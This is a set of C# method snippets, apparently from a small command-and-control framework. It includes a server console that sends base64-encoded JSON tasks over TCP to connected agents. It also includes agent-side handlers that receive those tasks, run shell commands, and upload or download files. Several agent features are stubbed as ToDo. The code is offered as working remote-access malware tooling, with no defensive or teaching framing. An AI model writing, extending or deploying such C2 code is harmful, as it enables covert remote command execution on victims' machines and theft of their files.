private void ProcessReply(CommsPackage reply, Guid agent) { Console.WriteLine("[+] Got some data from agent: " + agent.ToString()); Console.WriteLine("[+] Data type: " + reply.Command); switch (reply.Command) { case "exec": Console.WriteLine(Encoding.UTF8.GetString(reply.Data)); break; case "download": FileInfo fi = JsonConvert.DeserializeObject <FileInfo>(Encoding.UTF8.GetString(reply.Data)); try { File.WriteAllBytes(Path.GetFileName(fi.Path), fi.Data); } catch { Console.WriteLine("An error occurred in file write handling"); } break; default: break; } }
private void HandleTasking(CommsPackage tasking) { Console.WriteLine("Tasking recieved: " + tasking.Command); switch (tasking.Command) //why not use an enum? { case "exec": Exec(tasking.Data); break; case "download": Download(tasking.Data); break; case "upload": Upload(tasking.Data); break; case "sysinfo": //SysInfo(); //ToDo break; case "tasklist": //TaskList(); //ToDo break; case "netlist": //NetList(); //ToDo break; default: break; } }
private static CommsPackage ExecDownload(string[] fields) { CommsPackage cp = new CommsPackage(); cp.Command = "download"; FileInfo fi = new FileInfo(); fi.Path = fields[2]; cp.Data = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(fi)); return(cp); }
private static CommsPackage ExecComms(string[] fields) { string command = ""; for (int i = 2; i < fields.Length; i++) { command += fields[i] + " "; } CommsPackage cp = new CommsPackage(); cp.Command = "exec"; cp.Data = Encoding.UTF8.GetBytes(command); return(cp); }
public void WaitForTasking() { StreamReader reader = new StreamReader(client.GetStream()); while (true) { string inbound = reader.ReadLine(); string json = Encoding.UTF8.GetString(Convert.FromBase64String(inbound)); CommsPackage tasking = JsonConvert.DeserializeObject <CommsPackage>(json); HandleTasking(tasking); } }
private void PackAndSend(string type, byte[] payload) { CommsPackage package = new CommsPackage(); package.Command = type; package.Data = payload; string json = JsonConvert.SerializeObject(package); string final = Convert.ToBase64String(Encoding.UTF8.GetBytes(json)); StreamWriter writer = new StreamWriter(client.GetStream()); writer.WriteLine(final); writer.Flush(); }
private void AddClient(TcpClient clientConnection) { StreamReader reader = new StreamReader(clientConnection.GetStream()); string encodedHandshake = reader.ReadLine(); Guid id = new Guid(Convert.FromBase64String(encodedHandshake)); clientConnections.Add(id, clientConnection); Console.WriteLine("New client connected with GUID of " + id.ToString()); Console.WriteLine("Started listening for data from new client... "); while (true) { string line = reader.ReadLine(); string json = Encoding.UTF8.GetString(Convert.FromBase64String(line)); CommsPackage cp = JsonConvert.DeserializeObject <CommsPackage>(json); ProcessReply(cp, id); } }
static void Main(string[] args) { C2Server c2 = new C2Server(); c2.Listen(); while (true) { Console.Write(">"); string line = Console.ReadLine(); if (line == "") { continue; } string[] fields = line.Split(' '); try { Guid agent = new Guid(fields[0]); CommsPackage cp; switch (fields[1]) { case "exec": cp = ExecComms(fields); break; case "download": cp = ExecDownload(fields); break; case "upload": cp = ExecUpload(fields); break; default: cp = new CommsPackage(); break; } c2.SendCommand(agent, cp); } catch { Console.WriteLine("Syntax error."); } } }
public void SendCommand(Guid agent, CommsPackage cp) { Console.WriteLine("Marshalling command"); TcpClient client; if (!clientConnections.TryGetValue(agent, out client)) { Console.WriteLine("Agent with guid " + agent.ToString() + " not connected!"); return; } string payload = JsonConvert.SerializeObject(cp); payload = Convert.ToBase64String(Encoding.UTF8.GetBytes(payload)); StreamWriter stream = new StreamWriter(client.GetStream()); stream.WriteLine(payload); stream.Flush(); Console.WriteLine("Payload sent"); }